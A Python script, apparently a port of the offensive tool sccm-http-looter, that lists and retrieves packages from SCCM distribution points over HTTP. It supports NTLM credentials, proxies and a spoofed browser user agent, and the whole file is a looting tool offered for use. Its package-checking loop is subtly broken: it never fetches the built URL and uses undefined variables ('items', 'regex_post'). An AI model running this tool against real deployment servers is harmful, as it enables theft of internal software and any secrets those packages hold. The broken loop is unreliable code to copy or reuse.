#!/usr/bin/env python3 # This script contains a python version of sccm-http-looter (https://github.com/badsectorlabs/sccm-http-looter) # The following additional packages may need to be installed depending on the usage: # # pip install requests-ntlm (required for authenticated access to SCCM DPs) # pip install requests[socks] (required for usage over socks proxy) # # The script attempts to obtain a package list via HTTP directory listing. However, when dealing # with large package lists, this is not 100% reliable as the server may cut the amount of entries # being returned. Once the package list was obtained, it is stored as `{host}-sccm-packages.txt`. # Using the --packages option, you can also use an already obtained list. import re import time import requests import argparse import urllib.parse USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 GLS/100.10.9939.100' parser = argparse.ArgumentParser(description='sccm-http v1.0.0 - Loot SCCM DPs via HTTP') parser.add_argument('url', help='url of the SCCM depot server') parser.add_argument('--username', metavar='name', help='username for NTLM authentication') parser.add_argument('--password', metavar='pw', help='password for NTLM authentication') parser.add_argument('--domain', metavar='dom', help='domain for NTLM authentication') parser.add_argument('--user-agent', metavar='ua', default=USER_AGENT, help='user agent to use (default: chrome)') parser.add_argument('--proxy', metavar='proxy', help='proxy server to use') parser.add_argument('--list-only', action='store_true', help='only obtain the package list') parser.add_argument('--packages', metavar='file', type=argparse.FileType('r'), help='list of packages to check') parser.add_argument('--delay', metavar='int', default=0, type=int, help='amount of time between each request in seconds (default: 0)') def main(): ''' Main method :) ''' args = parser.parse_args() session = requests.Session() if args.proxy: proxies = { 'http': args.proxy, 'https': args.proxy, } session.proxies.update(proxies) if args.username or args.password or args.domain: if not (args.username and args.password and args.domain): print('[-] If credentials are used, all auth parameters need to be specified.') return from requests_ntlm import HttpNtlmAuth session.auth = HttpNtlmAuth(f'{args.domain}\\{args.username}', args.password) if not args.packages: count = 0 url = f'{args.url}/SMS_DP_SMSPKG$/DataLib' hostname = urllib.parse.urlparse(url).netloc print('[+] Obtaining package list...') response = session.get(url) regex = re.compile(f'{args.url}/?SMS_DP_SMSPKG\\$/DataLib/([^"<]+)"') with open(f'{hostname}-sccm-packages.txt', 'w') as output: for item in regex.finditer(response.text): if item.group(1).endswith('.INI'): continue print(item.group(1), file=output) count += 1 print(f'[+] Obtained {count} package names.') print(f'[+] Results have been written to {hostname}-sccm-packages.txt') if args.list_only: return print(f'[+] Using {hostname}-sccm-packages.txt as input file.') args.packages = open(f'{hostname}-sccm-packages.txt') lines = args.packages.readlines() for line in lines: package = line.strip() url = f'{args.url}/SMS_DP_SMSPKG$/{package}' regex_pre = re.compile('^([^<]+ )') for item in items: pre = regex_pre.search(item) found = regex_post.search(item) if pre: preface = pre.group(1) preface = preface.replace('<', ' ') preface = preface.replace('>', '') else: preface = '\t' if found: print(f'[+] {preface}{found.group(1)}') if not found: print(response.text) else: print('[+] \tNot Found!') time.sleep(args.delay) main()